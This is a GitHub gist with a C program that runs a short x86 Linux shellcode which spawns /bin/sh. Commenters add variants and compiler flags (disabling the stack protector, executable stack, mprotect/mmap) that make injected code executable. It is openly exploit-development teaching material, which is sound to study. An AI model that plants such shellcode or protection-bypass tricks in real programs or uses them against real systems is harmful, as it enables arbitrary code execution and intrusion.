Skip to content

Instantly share code, notes, and snippets.

@securitytube
Created April 5, 2013 12:14
Show Gist options
  • Star 24 You must be signed in to star a gist
  • Fork 11 You must be signed in to fork a gist
  • Save securitytube/5318838 to your computer and use it in GitHub Desktop.
Save securitytube/5318838 to your computer and use it in GitHub Desktop.
C Program to test shellcode
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
@seamaner
Copy link

Segmentation fault

Copy link

ghost commented Jan 18, 2017

Well of course, you're running Linux Shellcode in a windows environment..... The xcd\x80 should have given this away...

@AddaxSoft
Copy link

for the future noobs:

this is an x86 linux shellcode that will spawn a /bin/sh

  • on an x86 machine:
    you can compile using gcc -o shell src.c on a x86 machine; if you have a seg fault then compile it with the following flags:
    gcc c-shell.c -o shell -fno-stack-protector -z execstack -no-pie

  • on x64 machine; things are different.

  1. Either change the shell code to am x64 version [can be found here], OR
  2. compile with the -m32 flag as follow:
    gcc c-shell.c -o shell -fno-stack-protector -z execstack -no-pie -m32

if you face the "sys/cdefs.h: No such file or directory" fatal error;
then run apt-get install libc6-dev-i386

I hope this helped!

@mdulin2
Copy link

mdulin2 commented Sep 19, 2018

S/O to AddaxSoft for the great insight, such a homie!

@sjbumbe
Copy link

sjbumbe commented Nov 18, 2019

Illegal instruction?

@eulenleber
Copy link

for the future noobs:

this is an x86 linux shellcode that will spawn a /bin/sh

* **on an x86 machine:**
  you can compile using `gcc -o shell src.c` on a x86 machine; if you have a seg fault then compile it with the following flags:
  `gcc c-shell.c -o shell -fno-stack-protector -z execstack -no-pie`

* **on x64 machine; things are different.**


1. Either change the shell code to am x64 version [can be found [here](http://shell-storm.org/shellcode/files/shellcode-603.php)], OR

2. compile with the `-m32` flag as follow:
   `gcc c-shell.c -o shell -fno-stack-protector -z execstack -no-pie -m32`

if you face the "sys/cdefs.h: No such file or directory" fatal error;
then run apt-get install libc6-dev-i386

I hope this helped!

This doesnt help (anymore?)

first: the code is not on the stack - its in the .data segment, thus -fno-stack-protector -z execstack are completely irrelevant for the code to work. -no-pie does not affect to code either since the code is not referring to specific addresses, is it?
But the idea is right: the code must be stored in an executable memory.

for the future and past noobs:

At least on my x64 the memory page is not executable (x86 only has r/w, x64 has r/w/x, thats why it always works on x86 and the problem does not occur there)
To make the page executable change the main accordingly:

int main(){
  printf("Shellcode length: %d\n", strlen(code));
  int r =  mprotect((void *)((int)code & ~4095),  4096, PROT_READ | PROT_WRITE|PROT_EXEC);
  printf("mprotect: %d\n",r);
  int (*ret)() = (int(*)())code;
  return ret();
}

Why (void *)((int)code & ~4095), 4096?

   mprotect() changes the access protections for the calling process's memory pages containing any part of the address range in the interval [addr, addr+len-1].  addr must be aligned to a page boundary.

Its the page alignment. (so to speak "drop the last three nibbles of the address" since the page is 4K this will result in the beginning of the page where the code[] is stored)
The type cast is just to allow logical operations (cast to int, apply logical and, cast back to pointer)

now you can indeed compile:

gcc -m32 shellcodetest.c
./a.out

@jattboe
Copy link

jattboe commented Jan 27, 2022

Just put code in stack by initializing code as local variable

#include <stdio.h>
#include <string.h>

int main(){
    char code[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    printf("Shellcode length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    return ret();
}
  • gcc -fno-stack-protector -z execstack -m32 shellcode.c -o shellcode

@RobertLarsen
Copy link

RobertLarsen commented Feb 2, 2023

At least on my x64 the memory page is not executable (x86 only has r/w, x64 has r/w/x, thats why it always works on x86 and the problem does not occur there)

Not exactly. x86 also has r/w/x but the ELF loading code in the kernel (for x86 only) treats all readable memory as executable IF the stack was marked as executable. Which it is if either PT_GNU_STACK program header is missing in the ELF or if it is present and has the executable flag set. Which is why the -z execstack was important.
See:

Shameless self promotion: I made a tool for shellcode execution which you may want to use: https://github.com/RobertLarsen/RunShellcode

@zeredy879
Copy link

zeredy879 commented Aug 25, 2023

Here is another example to run x86 shellcode on x64 machine but specify the memory address where you want to load your shellcode:

# include <stdio.h>
# include <string.h>
# include <unistd.h>
# include <sys/mman.h>

# define EXEC_MEM ((void *) 0x80000000)

char shellcode[] = "{write your shellcode here}";

int main() {{
    mmap(EXEC_MEM, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, -1, 0);
    memcpy(EXEC_MEM, (void *)shellcode, strlen(shellcode)+1);
    (*(int (*)())EXEC_MEM)();
    return 0;
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment